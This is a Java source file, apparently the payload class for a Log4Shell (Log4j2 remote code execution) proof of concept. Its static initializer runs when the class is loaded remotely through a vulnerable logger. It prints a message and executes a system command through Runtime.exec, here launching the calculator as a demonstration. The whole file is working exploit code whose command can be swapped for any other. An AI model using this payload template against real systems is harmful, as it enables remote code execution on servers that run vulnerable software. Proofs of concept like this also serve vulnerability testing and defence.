import java.io.IOException;

public class Log4j2RCE {
    static {
        System.out.println("I am Log4jRCE from remote!!!");

        try {
            String [] cmd = {"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }
        catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
